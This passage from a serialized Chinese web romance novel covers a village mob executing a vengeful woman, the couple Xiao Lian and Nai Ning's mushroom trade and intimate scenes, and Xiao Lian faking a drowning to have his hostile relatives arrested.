组长跺脚喝道:“疯了疯了!你们这么多人还捉不住她一个疯婆娘吗,把她绑了,浸猪笼!” 大家都忌惮谭梨花手上还淌着鲜血的柴刀,好几个人被砍伤了,再迟疑不知道要伤多少人,围上来拦着她的人越来越多,不知谁把她手上的柴刀打掉,大家松了一口气,终于把她压到了地上。 这女人如此大能耐,大家都吓得脸色发白,额角流汗,这会儿压着她,她还像野猪一样挣扎咆哮不已。 “真疯了,真疯了,浸猪笼浸猪笼!” 一群人将她五花八绑,装进猪笼里去,拿竹篾将猪笼□□叉锁住,大头绳捆着猪笼几个汉子抬着,一群人浩浩荡荡往河边去。 她歹毒的目光依然牢牢锁在奈宁身上:“我做了鬼也不会放过你,我做了鬼也要上来把你拖下去,以后你到河边小心点,千万不要被我抓住了,我要你生不如死!” 萧练在奈宁跟前挡了挡道:“别怕,这世上根本没有鬼!” 奈宁将大少爷挡在自己身前的手掰开,笑道:“我知道,放心,我不怕,我要亲眼来看着她怎么死,看她以后怎么把我缠下去!” 他原本都要走了,这个女人都死到临头了,还不肯放过他,还要对他发如此恶毒的誓,他心情反而变得好起来,想要看看她怎么死。 上次浸猪笼萧练说官府会问责,这会却没挡,冷眼看着谭梨花被进冰冷的水,沉重的猪笼慢慢沉了下去。 谭梨花咆哮挣扎:“你们不得好死,不得好死!你们两个,不要以为你们有好日子过,我诅咒你们,诅咒你们像你们爹娘一样早死,妻离子散,永世不得安宁!” 萧练磨着后槽牙,突然出声:“死了这么多人,官府定然会来问责,不如把她放了,等官府秋后处死。” 谭梨花人都没进去了,咕噜咕噜就要一命呜呼了,又被提了上来,正大口大口喘着气,一看到奈宁又要骂,那些人看她恶毒的样子,又浸下去淹了几回。 再提上来时半条命都没了,这回总算说不出话来了。 这种人真是恶毒得叫人难以想象。 组长派人去报官,萧练拉着奈宁回去了,任谭梨花咒骂。 萧练捏捏奈宁的手,提高声音说:“回去吃饭了,我做好吃的给夫郎吃!” “好。”奈宁嘴角露出个笑来,心情没那般沉重了。 萧练一直想方设法吸引夫郎注意力,伤心地跟他说自己今天回到家差点没气死。 奈宁笑道:“怎么了?” 萧练道:“我出门不是教他们人之初么?回来检查功课,他们说人蜘蛛!” “我教不了,让他们另请高明吧!” 大少爷直接就想撂挑子。 他真想,要不是被谭梨花那档子事扰乱,他早跟夫郎娇上了。 奈宁哭笑不得把人哄了回来:“你才教一遍,他们自然没这么好记性,你看你都教我好多遍!” “那怎么同,你可是我夫郎,千遍万遍我都愿意教,再说,晚上我有的是时间教你慢慢学。” 说着,他脸上又扬起笑来,拉着奈宁的手,不轻不重地揉捏着:“夫郎,今晚要不要学几个字啊?” 第60章 第 60 章 奈家灭绝 奈宁今天哪有这个心情啊, 摇了摇头。 萧练捏了捏他脸颊:“想什么呢?我知道你今天心情不好,真学字!” 说着将笔墨纸砚摆出来,有模有样地磨墨执笔, 嘴角含着一点浅笑, 一派风流书生模样:“夫郎?” 奈宁接过笔,大少爷的笔看着就很漂亮, 心情都换了换, 莫名有一股庄重感。 萧练另外拿了个笔,沾了墨在纸上写字,让夫郎跟着自己写。 第一次看到夫郎自己写成的字, 歪歪扭扭粗重不一,萧练笑道:“多练练就好。” “嗯!” 别管写得好歹, 一路练下来, 奈宁心情是舒畅了。 萧练抱过来亲了亲奈宁脖子:“以后我每天都陪夫郎练一会字。” 奈宁笑道:“好!” 晚上大少爷体贴地将他圈在怀里。 奈宁蹭蹭大少爷, 闻着他身上好闻的皂香, 叫人舒心。 说不乱动的人, 却是蠢蠢欲动,当做别人不知道那样,挤在缝间。 呼吸被压制着却越发沉, 趁别人不注意还是要动一动。 乖巧又可怜兮兮。 奈宁想了想奈家跟他有什么关系?身后的人才与自己息息相关,他们新婚, 没必要因为谁而终止了他们之间的幸福。 他忍着羞涩转过身来, 解开大少爷的衣襟。 萧练的嘴角立刻扬了起来。 熄了的灯又点起来,奈宁也不知道大少爷什么时候这种喜好,偏在这种时候点灯,还怂恿他扶着桌子。 “夫郎,我们温习一下刚学的字吧。” 奈宁脸涨得通红, 提高了声量:“别说话!” “哦。”听声音还有些委屈。 奈宁心脏一片酸软,转过身来,男人像失去什么一样,紧紧抱着他在他耳边低低喊了声夫郎,叫得人浑身发软,奈宁很快贴上去,紧密相触,又被萧练搂的更紧了些,奈宁红着脸说:“我写给你看。” “好。”萧练高兴得嘴角都不知道往哪里放。 奈宁一动,没有支撑的他差点要摔倒,只能牢牢的摁着桌子。 牙关咬紧,呼吸深沉,他的力道几乎都用在桌子上,手臂上的青筋爆起来,被牢牢禁锢在他身体里以及桌椅间的哥儿,身子柔柔的,力道也是软软的,像羽毛撩在心间,又像隔靴子止痒,舒服却也叫人越发难以忍受,忍得痛苦,额筋都跟着跳起来,忍不住出声道:“夫郎,能不能重一点?” 说着他自己示范了遍,沉沉地往前面一顶。 奈宁羞涩的将他推到桌上,他拧了拧眉,这不太对。 “咳,夫郎?”他拉着奈宁的手,不知怎么办,奈宁将他推倒在桌子上,随即自己也坐了上来,慢慢躺下去。 这时候的大少爷很好看,桌子略短,大少爷,半边脑袋无处着力,头发如布披散在桌沿,放弃挣扎的时候,脑袋搁在桌沿,露出明晰漂亮的下颌线,还有更加勾人夺魄的颈部线条。 奈宁亲了亲他漂亮的喉结,闻着萦绕在鼻尖的幽香,忘情不已。 夫郎再剧烈的动作都是轻描淡写的,但有别有滋味,萧练闭着眼睛,享受其中清甜酸涩。 舒服得头皮发麻,又难受得牙关紧咬。 夫郎蹭到他耳边,柔软的唇像湿漉漉的小动物一样蹭着他的耳廓,低声说:“夫君,你教我的字是这样写吗?” 突如其来一记重锤,萧练差点没失守。 第二天官府就来了,近些年太平盛世已经很久没出过死这么多人的案子了,还有很多被害人的家属,哭的没几个,有些还巴不得早些死,倒是有些白发苍苍的老人,哭得那一个可怜,撕心裂肺地喊着:“我的儿,白发人送黑发人,你要我怎么活呀?” 在场的人没一个动容,大家麻目地看着,能跟牛二混在一起的,会是什么好人。 有的默默去收尸,有的说等一把火烧了吧。 族长令人把谭梨花押出来,她昨夜被关在猪圈,两个大汉看守着,浑身都臭烘烘的,这会刚出来,一看到奈宁,疯了似地往这边扑。 几个大汉扑上来牢牢架住她,萧练张开手护在奈宁跟前。 而奈宁,从大少爷身后露出半个身影,嘴角勾出一缕浅笑,眼眸弯弯看着谭梨花。 手放在纤细白皙的脖子上,慢慢往下,撩开自己的衣襟,上面是早晨男人留在自己锁骨处的吻痕,娇红鲜艳,像一朵刚绽开的梅花,在一片雪白的肌肤上。 微风吹拂他柔软的乌发,红艳的嘴唇开合,不知道在说些什么,消瘦的手抓了抓身前男人的手,萧练以为他害怕,靠得更近了些,偏过头说别怕。 他嘴角含着笑,在男人后脖梗轻轻印下一吻。 谭梨花看着他,脑子被无边的嫉妒烧疯了,啊啊啊啊啊叫个不停,疯狂地要冲过去。 捕快以为她要袭击,当机立断拔刀捅进她肚子里。 偏就是这个时候,在她嫉妒得要发疯的时候,一片聒噪声中,她听到了熟悉的声音。 “阿娘,阿娘!”她那三个孩子。 她还没来得及回头,低头先看到了没进肚子里的刀子,接着就是红色的。 等她转身看到三个奔跑而来的孩子,扑通一声倒在地上,手伸向那边,再没有了声息,眼睛没有闭上,那一刻,也不知道她在想什么。 “都要死了,也不想点好!都是当娘的人了,也不对别人的孩子好一点,现在好了!” 村子里的人对着地上的谭梨花议论纷纷。 能在这里站着的,昨日都见过大世面了,这点血腥也没什么了。 最大那个孩子看着村子里的人,看着奈宁满眼露出恨意。 族长找了上来,狠狠一棍敲在他身上:“你还在看什么?你娘咎由自取,你若是还把恨意挂在别人身上,你此生就毁了!” 看着眼泡着泪珠胸膛起伏不停的小孩,族长摇摇头挥了挥手:“本村容不下你们,回你们外祖家去吧。” 那些没有人收拾的尸体都被丢进了奈家,村里人堆起柴草,一把火将奈家烧光了。 那些白发人送黑发人的老人一把扑到奈家三个小孩身上:“还我儿子,都是你们娘那□□,你们去跟她陪葬去。” 奈宁拉着萧练走了。 后来听说奈家大娃拉着那两个老人谢罪去了,奈家就剩下两个小的,一个八岁一个六岁。 他们说等那外祖家找人来领那两个小孩离开的时候,天都黑了,也不知饿了哭了多久的两个小孩,眼神都清澈了。 早晨,偏僻的屋子响起翠亮的读书声。 “人之初,性本善,性相近,□□,苟不教,性乃迁……” 在门前沙地写下几个字之后,萧练愣是要跟着奈宁一块进山。 山里的松茸捡的人太多不太好捡了,不过奈宁也没有伤心难过,反而是开心,因为大钱都进了他口袋,想想又很不好意思。 反正不用一年,他就要跟大少爷走了,到时候满山遍野的山货蘑菇都是大家的。 那些学徒出去拜师十几二十年都不一定能学到技术,如此想想自己应该不算很坑吧。 也不知道收他蘑菇的那位大老板把蘑菇卖给谁,又卖多少钱? 等他跟大少爷离开的时候,定要带好多蘑菇,看郡城行情怎么样! 他甩甩脑袋,很快把这件事情甩到脑后,之后每捡到一颗好蘑菇都觉得是捡到宝。 自己捡的跟别人捡的,心情还是不一样的。 莫名又有些苦恼,果然自己还是不是赚大钱的料,要是大老板肯定心安理得了。 大家都知道蘑菇值钱,摘的人多了,很容易为一窝蘑菇吵起来。 于是就形成了一些默契。 大少爷发现了一窝大松茸,满脸笑容,一扭头却没看着奈宁,怕被别人摘了去,只能在旁边蹲守。 喊了几声也没听到有人应。 等得花都谢了,眉眼蔫蔫的,奈宁才姗姗来迟。 萧练道:“去哪里了,喊好久都没应我。” 看到大少爷为自己扒开草丛,露出满满一片松茸,在现在已经很少见了。 奈宁心情激动上去捧着大少爷的脸颊亲了亲:“乖。” 又给他摸了摸头,就用手背蹭蹭他柔软的额发。 大少爷又开心起来了,道:“快撬吧。” 松茸长得深,撬起来的时候吧唧一声。 有一朵很漂亮,肥肥大大的,奈宁拍了拍伞,举到大少爷嘴边,不用他说,萧练张口就咬。 奈宁笑得眉眼弯弯:“什么味道?” “中药味香脆微甜。” 奈宁看了几眼大少爷,越看越忍不住笑:“你就不怕有毒啊?” “怎么会呢。” “好多蘑菇没煮熟都会有毒哦!” “你给我吃的,怎么会有毒。” 奈宁嘴角都合不拢:“这么相信我啊?” 萧练捏捏他发烫的耳垂,在他脸颊上迅速亲了一口:“相信你!” 大家笑容满满,几乎都是满载而归,就算蘑菇没摘满,也要捡点柴火。 一路有说有笑。 下还没到家就遇到张寡妇张阿婆两人,一个背着背篓,一个挑着扁担。 奈宁还没打招呼,张寡妇就先笑了起来,一把掀开盖在箩筐上的叶子:“宁哥儿,这些蘑菇收不收?” 奈宁走近一看,眼睛都睁大了。 “这么多松茸?” “哈哈,我才知道这蘑菇值钱,我跟我婆婆天天在那里逛都不知道,带着小孩上山,小孩不懂事还往嘴里塞,吓死我们了!” 张阿婆也笑盈盈的:“以前都不知道踩烂了多少,直到看到大家说采蘑菇,一看采的还是这种蘑菇,我们婆媳俩一大早就上山去摘,摘了这么多。” 奈宁都不知道该怎么笑了,嘴角扬着,眉头却是拧着,完了怎么办,现在跟她说二十文一斤是不是有点坑? 张寡妇把两个小孩推到跟前,笑道:“大家都帮摘蘑菇送小孩去秀才公那边读书,我们也想让小孩识两个字,不知小姑娘收不收?” 奈宁松了一口气笑道:“都来呗。” 别说两个小孩,两个大人来都没关系! 到家里一看,就数张寡妇这里的松茸最好,一个扁担两个箩筐,还有一个背篓。 不开玩笑,这要有一百斤,真是两个能干的女人,其他人眼睛都看直了。 奈宁给她数钱,多少钱来着?二两银子! 不对,一百二十文一斤多少钱来着?十二两银子! 他很不好意思,脸都羞红了,其他人还以为他是兴奋,他就是单纯的不好意思,羞羞答答的给了张寡妇二两银子,都没脸看人了,把张寡妇的两个孩子拉过来说:“练叔叔这两日教了人之初,性本善,六个字,你们好好学!” 萧练眉心突突直跳,什么练叔叔? 那边张寡妇捧着二两银子,手都在发抖,完全不敢相信这烂大山的玩意儿,一下子就给他赚了这么多钱,耕着那两亩薄地,一年到头都赚不到那么多。 她把钱捧给她婆婆,眼泪啪嗒啪嗒的掉:“娘。” 婆媳俩抱头痛哭。 家里没个顶梁柱,其间的辛苦只有她们知道。 奈宁心脏越发不是滋味。 等其他人都走后,特意留下张寡妇,他不敢加太多,就加了二两银子,塞到张寡妇手中。 张寡妇一脸愣怔:“宁哥儿,这是什么意思?” 奈宁尴尬道:“你们日子过得不容易。” 张寡妇爽朗笑道:“以前不容易,以后就容易了,宁哥儿要不是你教大家摘蘑菇,我又怎么赚得到这么多钱?” 说着把钱塞回他手中,坚决不要,挑着空担子拉着两个小孩就走。 “大家都交束脩,我们也要交,一会夫子不肯好好教我们怎么办,哼!” 奈宁哭笑不得。 60-70 第61章 第 61 章 不慌 等所有人都走光了, 一具温热的身体缠上来:“练叔叔想当爹了。” 奈宁竭力忍住笑:“练叔叔别闹了。” 练叔叔不甘心地捏着他亲了又亲。 以前空空的院子,不但有好多蘑菇,还有好多村里人送来的蔬菜瓜果。 奈宁洗了些葡萄, 这种本土葡萄成熟的跟没成熟的同一个色, 滋味却是天地之别,一个很甜一个很酸。 他不小心吃到一个酸的, 眼睛都皱了皱, 顿时起了坏心眼,送进大少爷嘴里。 萧练坐在椅子上,把他拉过来, 让他坐在自己腿上,吃了个甜的, 笑了一下, 吃了个酸的, 脸上的神情差点没裂开。 看腿上的人一脸得意的样子, 知道自己被恶搞了, 牙尖将葡萄咬破,捏个夫郎的下巴亲了过来。 男人的舌尖伴着葡萄的酸袭进口腔,奈宁推着他怎么都推不开, 被他舌尖的葡萄酸到,整张脸都皱起来。 幸好男人也就是逗他一下, 舌尖一卷, 将葡萄卷入口腔,喉结滚动咽了下去,冲他挑了挑眉。 奈宁心肝砰砰乱跳,捏着一枚葡萄悻悻地往嘴里送。 许是卖猪肉的屠夫在村子里赚到钱,在外面传开了, 最近进村喊卖的担夫都多了。 这会又听到有人高声喊:“卖豆豉酱油,又香又稠的豆豉酱油,还有辣椒酱!” 奈宁眼睛一亮,一咕噜站起来,以前在凳子上经常能闻到豆豉酱油的香味,馋人的很,赶紧拿了碗冲出去来一碗,萧练伸手都拉不过他,赶紧拄着拐跟出去,结果夫郎又跑了回来,笑盈盈道:“一个碗不够,咱们还来一碗辣椒酱!” 去到那里,不光他们俩,好多人等着换酱油。 “真是难得,很少看到卖酱油的进村。 “对,都以为我们村子被遗忘了呢,以前都是要出村到外面去换才有。” “阿翁,咱们村发生了杀人这么大的事,你们还敢进来呀?” 卖酱油的老翁笑道:“怕什么?我一把老骨头,就怕没钱赚,白跑这一趟。” 大家哈哈笑:“最近咱们村子卖山货赚了点钱,以后多来跑几趟啊!” “包的,十天半个月我就来一趟!” 奈宁换到酱油,乐呵呵的走了,等等没有人看到,悄悄地拿尾指舔了一点酱油,香香咸咸的,尝一口辣椒酱,香香辣辣的,都很好吃。 看大少爷看着自己好像要流口水那样,奈宁挖了一点往他嘴里送:“好吃吗?” 萧练含着他的尾指,里里外外都舔了干净,又舔了舔唇说:“香!” 奈宁只觉得尾椎骨都被他舔麻了,又沾了一点辣椒酱送他嘴里。 男人含着他的手指,咬了咬。 回去之后奈宁在满屋子松茸堆里挑出几个漂亮的松茸,洗了洗,切了片,打算蘸着酱油辣椒酱吃。 萧练在屋里搬桌子,奈宁跟他说不能老是在外面教了,要搬到家里来才行,要重视。 他说:“我在外面教老的少的都可以来学。” 说归说,还是听夫郎的话,乖乖地清理出一个空房子。 奈宁端着托盘进来,就看到大少爷一边拄着拐一边拖着桌椅,好不艰难。 放了东西,过去拉着男人的手:“先坐下来休息吧。” 沾了一点酱油,又沾了一点辣椒酱,把切片的松茸送到他嘴边。 萧练乖乖的吃。 奈宁握着他的手不舍得松开,刚刚用过力气的手腕上青筋暴突,摸着好舒服。 手摁在上面还会突突跳动,好蓬勃有力,莫名想起晚上那精神的小东西。 “出汗了,我给你擦擦。”奈宁从怀里摸出手帕。 不知不觉就坐到了男人身上,身下一凉,之后无以复加地热乎起来。 突然想到什么,有些不清明地说:“在这里,好像不雅?” “是,让他们另外建书塾!” “……”奈宁说不出话来,双手圈着男人的脖子,抱着他毛茸茸的脑袋,嘴唇时不时亲在他光洁的额头上。 萧练扬起头吻住了他的唇,呼吸缠绵交织。 次日清晨,萧家围了许多人,看到干净漂亮的学堂,摆得板板正正的桌椅,惊喜之余又自责:“哪里需要你们亲自来做,跟我们说一声,我们自己来搬就好了。” 萧练笑了笑没说话,取出一支毛笔,让他们跟着这枝毛笔的样子,自己做毛笔。 至于纸墨,要么拿碳,要么写在沙盘上。 教了几个字,搬了蘑菇,又跟奈宁跑一趟镇。 路上思索着要不要跟那买蘑菇的老板说,让他派人来上门收购吧。 以后村子里的人也不需要一趟一趟地跑出去卖。 老板也可以根据自己什么时候卖货而过来统一收。 此行唯一风险就是会让其他村民提前知道蘑菇价钱。 他现在不太相信旁人,最好还是等他们离开村子,其他人再知道。 路上他问了奈宁的意见。 奈宁也觉得最好他们离开再告诉他们。 不过这松茸估计也就昨天多一点,之后囤几日再买。 牛车驶到铺子前,伙计看到他们大老远就迎了上来,在他们搬蘑菇途中,萧练奈宁都没有出手帮忙。 一个残疾,一个小哥儿。 萧练转头笑问奈宁:“你猜他们转手卖到哪里去?” 奈宁道:“县城郡城估计都有吧?” “应该还不止。” 奈宁点点头,觉得也是。 “不知道他们能卖多少钱一斤,等咱们搬到郡城的时候,也运一车上去卖试试。” 萧练好笑道:“好。” 这一次拿到的钱又多了些,有二十五两。 直接入手一枚二十五两的银锭,奈宁笑得见牙不见眼。 趁人没注意又想咬一咬,萧练说脏,他就拿手使劲掐。 萧练笑道:“真的,不会是假的,看上面如此坑坑洼洼。” 从店铺出来,遇到一个穿着不凡的男子,这男子一看到萧练奈宁面露欢喜:“萧公子你怎么在这里?刚刚好多书生学童相约到你家去了!” “哦。”萧练应了声,也不着急,拉着奈宁在街上逛了逛。 没啥好逛的,奈宁倒是想拉他进医馆,但都看完了,没有用,更何况刚才有人说有客人去他们家了。 他心中着急,没看多久,拉着萧练回去。 牛车慢悠悠的,还没到村口被萧家一行堵住了。 这里人烟偏僻,平时没什么人进村,也没什么人出村,此刻晌午更是只剩他们俩跟萧家一群人,对方又来势汹汹,奈宁心里莫名紧张。 萧练的手放在他手背上轻轻拍了拍:“不慌。” 萧得金萧得银几个蹲半天,脚都麻了,看到他们过来,跳起来破口大骂:“狗杂种,你真是半点不给我们活路啊!” “娘的,这就弄死你,我们没活路,你也别想活着!” 萧大伯好像一夜间苍老了十几岁,摁着萧得金道:“算了算了,对抗不过他的,我们走吧,没有用的,都没有用!” 他们原本想找宗族,跟这小小村庄的奈氏一族讨回公道,谁知去到那里,被族老呵斥打骂一顿不说,还被逐出宗族,他家人丁兴旺还有不少孙辈要读书的,没了宗族依靠,将来科举可怎么办? 这村子原本是奈家村,外来姓氏不多,萧练现在当夫子,又颇受村民爱戴,他们已经没有多余财产,就剩一座青砖屋,以后只能在此夹着尾巴苟活。 萧得金怒其不争道:“爹,你什么时候变得这么怂了,你还是他长辈,他本该尊你敬你,现在却轻飘飘一张纸让宗族把咱们逐出了去,原本就是他自己要入赘的关我们什么事,怎么就变成了我们逼他退出宗族?他这么能搬弄是非,我现在就去把他弄死!” 其余人送着腕骨:“大伯这种狼心狗肺的人,打一顿就老实了!” 萧大伯咬着牙,他不是没有恨意,但是又不能悄无声息的除掉萧练,又能怎么办呢? 萧练慢悠悠从牛车上下来,奈宁赶紧跟在他身后,萧练伸手将他挡在后面,慢条斯理道:“我也正想跟你们解决我们之间的恩怨,但此事与我夫郎无关,放他离开。” 说完也不管那些人如何反应,转过身来将奈宁扶回牛车:“你先回去,我来跟他们说。” 萧得金几个嘲讽道:“走什么走,你不是入赘他们家了吗?有什么是他不能听的!” “是啊,不应该是他当家作主么,怎么你怕了?” 萧练猛地扭过头来,冷眸森寒:“放他走,否则没得谈!” “我们之间的恩怨与他无关,否则我不会跟你们走,你们就祈祷这条路上不会有人经过吧,到时你们一大家子都跑不掉!” 奈宁一听他还要跟他们走,心脏立刻提到嗓子眼,赶紧拉着萧练,脑袋摇得像拨浪鼓一样,他哪里都不去,夫君原本就残疾,他走了就算他孤零零一人,站都站不稳,人家一推他就摔,到时怎么办? 萧练低声道:“你回去喊人。” “那么久的路,你能撑得住吗?” 萧练笑了笑,提高了声量,朗声道:“他们能奈我何?” 那边人都要气死了,冷笑不止。 萧练听若未闻,捏了捏奈宁掌心:“快去!” 奈宁坐上牛车,萧练拄着拐将他送出萧家一行人的包围圈。 奈宁偏过头来看着很快被萧家人包拢起来的大少爷,一咬牙狠狠一鞭抽在牛身上,只希望跑得快些,回去通风报信。 第62章 第 62 章 是他自己跳进水里的 进了村, 奈宁将牛丢在一旁,赶紧跑回家。 萧家数人团团将萧练围住:“现在他人走了,走一趟吧。” 萧练微微一笑, 率先转头往一边走去, 大家愣了一下,这个方向是村子的河畔, 那地方可偏僻, 又有竹林遮挡。 萧大伯脸上露出一抹狠厉之色,他正愁没机会收拾萧练,这萧练还自己将机会送上门来了! 萧练一拐一拐走到河边, 面对那些落在自己身上不怀好意的目光,丝毫不惧。 萧得金喝道:“萧练你挺嚣张的嘛, 都这个时候了, 也不怕死!” 萧练也不说话, 转头看着清澈的河流, 眉目舒展, 好似身旁无人一般。 萧得金被萧练毫不在意的神情刺到,上前一把揪住萧练衣襟:“萧练,你好大的胆气, 现在一个外人没有,就不怕我们弄死你吗!” 萧练冷淡的瞥他一眼:“我倒是想死, 你们敢送我一程么!” 他不光看萧得金, 还冷漠扫过在场面目狰狞的众人,视若无人般突然哈哈哈大笑,嚣张至极。 笑容一收,脸上神情发狠:“我就是故意的,将你们逐出宗族, 让你们无家可归,你们只配像粪坑的老鼠夹着尾巴,四处逃亡!” 在场的汉子无不青筋暴突,面目狰狞,妇人们也是骂个不停,但怕声音太大,把人吸引了来。 他们压着声音说:“杀了他吧,杀了他!” “把他推进水里,正好没有人看到,到时候一口咬死他就是失足掉上去的,谁能奈我们何!” “再不快点就行动不了了,刚才那奈家的贱人已经回去喊人了!” “这里距离他们家远,来回时间足够我们毁尸灭迹!” “对,弄死他,只要弄死他,就没有人站在他那边,我们就可以把家产抢回来!” “快点动手吧,否则来不及了!” 几家势力,却没有一家先行动手的。 他们推搡纠结,还来不及决定要不要下手。 突然后面挺远的地方有人喝道:“你们在做什么?” 脚步声越跑越近。 怎么这么快! 他们光顾着记奈宁跑回萧家喊人的时间,却没有记奈宁跑到村头喊人的时间。 奈宁跟着村头的几个壮汉子跑了回来,那些女人则跑回村肚里头喊人去。 不知谁先动了手,萧练扑通一声掉入河里。 跟他一起坠入的,还有萧得金。 萧练狠狠揪着萧得金,扯着他跟自己一起沉入河里。 萧得金惊恐的发现这看着斯斯文文弱不禁风的瘸腿书生到了水里比他强得多,死亡的恐惧笼罩了全身,拼命扑腾着想甩开萧练,又想把他踩进河底,却被萧练往深水里越拖越深。 他不会游水,越发恐慌起来,濒死之际,一个念头突然浮了上来,刚才是谁先动手推萧练下水?是萧练自己! 他到底想干什么? 萧家大队里有人惊慌失措去拉萧得金,萧大伯见自己的儿子被拽入深水,一咬牙跳下去,反而被胡乱扑腾的人拖着反拽入水底。 岸上的人更加惊慌失措,也有人浑水摸鱼,将其他人推进河里。 此地雨水丰,江河溪流都多,但水流湍急,底下暗流涌动,经常一个不甚就把人吞噬殆尽,乡下人不靠水吃饭,暑热来的时候会在村子里挖的水渠玩玩水,但熟水性的人不多。 等村里人陆陆续续赶过来的时候,一条河里扑腾了不少旱鸭子,萧家人手忙脚乱地去捞。 奈宁看到萧练就在河水的最深处,脑袋已经沉下去,惊得魂飞魄散,也不管自己会不会水,直接就要跳下去,被旁边人拦住了:“我来!” 一名年轻的汉子扑通一声跳了下去,直接往萧练那边游过去。 萧伯母撕心裂肺的嚎:“先救我儿,先救我儿,他快不行了,萧练那野种拽着他往深水里面淹,他快不行了!” 后面赶到的几个汉子也扑通跳下去,但没一个听她的,一个个都往萧练那边游。 随着围过来的村里人越来越多,一个个落水的人被拖了上来。 大少爷浑身湿淋淋的,头发披散着,毫无动静的躺在那里。 奈宁第一个扑到他身上,拍着他的脸蛋,挤出他肚子里的水,又随着别人说的那样深吸一口气,往他嘴里送气,都没用。 萧练吐了好几口水,人怎么晃都不醒。 旁边的萧家人七手八脚的救自己家的男人,之前下水的人陆续醒来,就萧练眼眸紧闭,半点没有苏醒的迹象。 随着时间的过去,奈宁心里希望一点点洇灭,忍着哭泣给男人送气,感觉心脏都要撕裂了,不敢想萧练死了他怎么办? 在他再次吸了一口气,往男人嘴里送的时候,他大半个身子都压在男人身上,腹部忽然感觉到一阵痒意,男人的指尖在上面写了个字。 “……” 奈宁脸上神情一僵,抬头看男人眼睛还是闭着的,俊俏的脸上没有半点神情,唇色发白,好像要死了那样。 他装着好像死心了那样,把脸蛋埋在男人身上,又气又笑照着男人胸口狠狠咬了一口。 萧练拳头都攥紧了,死死捏着大腿上的肉,脸上愣是没有一点表情。 没有人知道他们在做什么,只见奈宁将脑袋深埋在萧练怀里,肩头抖动神情很激动的样子,好像哭得快要昏厥过去。 “可怜啊,大少爷要是死了,他以后的日子可怎么办?” “胡说什么大少爷不会就这么死掉的,可能歇一歇就活了呢?” “这萧家的人也太没人性了吧,都瘸腿了,还要赶尽杀绝,亏以前大少爷一家对他们还那么好,升米恩斗米仇,这种白眼狼不配留在咱们村子,族长将他们逐出村外!” “对逐出村外,不许他们再进村!” “大少爷被他们害成这样,逐出村外都不行,在这之前还要他们赔偿!” “将他们扒光再逐出村外不就行了!” 眼看聚过来的人越来越多,大家群情激愤,萧家人辩解道:“我们并没有想杀他,是是他自己跳水的!” 他们没有看清楚,但纷纷应和:“对,没错,是他自己跳进水里的,其余人只不过下水去救他!” 大家都要笑了:“莫不是当我们傻子!” 萧得金缓过一口气来,跳起来道:“就是他自己跳的,就是他自己要寻死,还把我一起的拽到水里去!刚才你们来之前没看到他的神情有多么恶毒,说不光要把我们逐出宗族,还要让我们不得好死!可能你们不知道,但是我们已经被逐出萧氏宗族了,就是他的好手笔,他这个人看着文绉绉,其实卑鄙无耻的很!” 这会赶到的不光是村里的人,还有镇上过来想要请教学问的书生,还有富家公子少爷。 有人忍不住站了出来,啧啧称奇道:“好啊好啊,光天化日朗朗乾坤,你们以多欺少,故意堵在这里找他麻烦,还说是他自己特意寻死,还有什么好说的,通通拉回去见官,杀人偿命,你们在座的都逃不了!” 有一个帮腔,其余人也纷纷上来指责:“我姑父是本地县令,我来给萧公子作证,定要将你们一家捉拿下狱!” “还等什么?现在就把他们捉拿下狱!” 说着一群村民,七手八脚上来将萧家众人捆住,任他们怎么狡辩都没有人听。 他们光想着没有人看到,将萧练推进河里,谎称他自己失足掉下去。 却没有想正是没有人看到,萧练一旦出点问题,罪名定是落到他们身上。 毕竟他们村前堵人在先,就算他们没有在村前堵人,萧练在本村发生点什么事,第一个也是怀疑到他们家,谁叫他们三番四次恶凶凶上门找人麻烦。 这次怎么求饶都没有用,被五花大绑着,一个个丢上牛车驴车马车,怒发冲冠的人群立刻就把他们送到县衙去。 这边萧练被抬回了萧家,虚弱地张开眼睛,大家忙前忙后给他烧热水,煮姜汤,完全忘了被他们强行押到县衙的一大家子之事。 大家嘘寒问暖,请了郎中把过脉,说要静养。 奈宁将人送出,回头再看萧练,刚才病蔫蔫躺在床榻上的男人立刻坐了起来,满脸笑容。 奈宁气道:“你搞什么?吓死我了!” 萧练将人拉到床边,嘴角的笑容消失了一瞬:“我不想让他们有好过。” 奈宁愣了愣,不知道说什么。 萧练笑道:“放心吧,夫郎,我是自己跳水的,不是他们推的我,他们还没有那么大的狗胆,敢亲手除掉我。” 奈宁:“……” 萧练将脑袋搁在奈宁肩膀上:“夫郎不会嫌弃我心思歹毒吧,我只是想着以前爹娘给了他们那么多钱,他们却恨不得我早点死,我心里就难过。” 说着眼睛鼻子都红了,一副泫然欲泣的模样。 拉着奈宁的手轻轻捏着:“夫郎不要不理我,我就剩你了。” 说得可怜巴巴的,奈宁心脏一软,叹息道:“下次可不许这么鲁莽了,你要是出事我可怎么办?” 萧练只觉得心脏暖暖的,亲亲夫郎的嘴角道:“下次不会了。” 他们没有下次了,就算不死也要耗尽家产。 他们说他们没钱,不是还有几座老宅吗?他要让他们知道什么叫做绝望。 第63章 第 63 章 隔壁县有个御医告老还乡…… 看夫郎还拧着眉头满脸忧色, 萧练蹭到他耳边低声说:“我真没事了,要不我给夫郎证明一下?” 奈宁奇道:“你怎么证明?” 话音未落,男人站了起来, 奈宁正疑惑, 他要干什么。 男人弯腰,身体一轻奈宁骤然被抱了起来。 他被突如其来的失重感吓到, 牢牢地圈住萧练的脖子。 等他被放到桌子上, 刚从上面跳下来,温热结实的身体压了下来。 萧练亲了亲奈宁嘴角,将他扳转过来。 奈宁浑身颤抖, 心脏扑通扑通乱跳,男人伏在他身上, 他能感受到些什么, 脑子乱糟糟的。 萧练贴着夫郎的后背, 在他侧脸上轻轻磨蹭, 一只手捏着奈宁的下颌, 将他脸蛋掰着过来与他亲吻。 男人另一只手也不安分,在他腰腹间游走。 奈宁浑身颤的厉害,等缓过那一口气忍不住道:“你、你就不怕摔倒吗?” 头顶上方传来一声低笑, 接着他的后脖梗,被男人不轻不重咬了一口, 低哑的声音叫人头皮发麻:“怕啊。” 奈宁乖乖的往桌子上爬, 萧练好笑的束缚着他的腰,将他往下拉,后脖梗又被人咬了一口,奈宁差点没软倒。 更加叫人受不了的是男人从胸腔里震荡出来的低笑声:“夫郎逗你玩的,我伤口都愈合了, 现在其实已经可以撒了拐杖走路的。” 奈宁懵了许久才反应过来他在说什么。 随着动作的加沉,他脑海里只有一个念头,该死后悔呀! 等事情结束,奈宁浑身软乎乎想给萧练检查腿,都没力气了。 萧练再次将他抱起来,奈宁这才想起来,大少爷刚才就是抱着他走到桌边的。 这还是他看到的,大少爷第一次脱了拐杖走路。 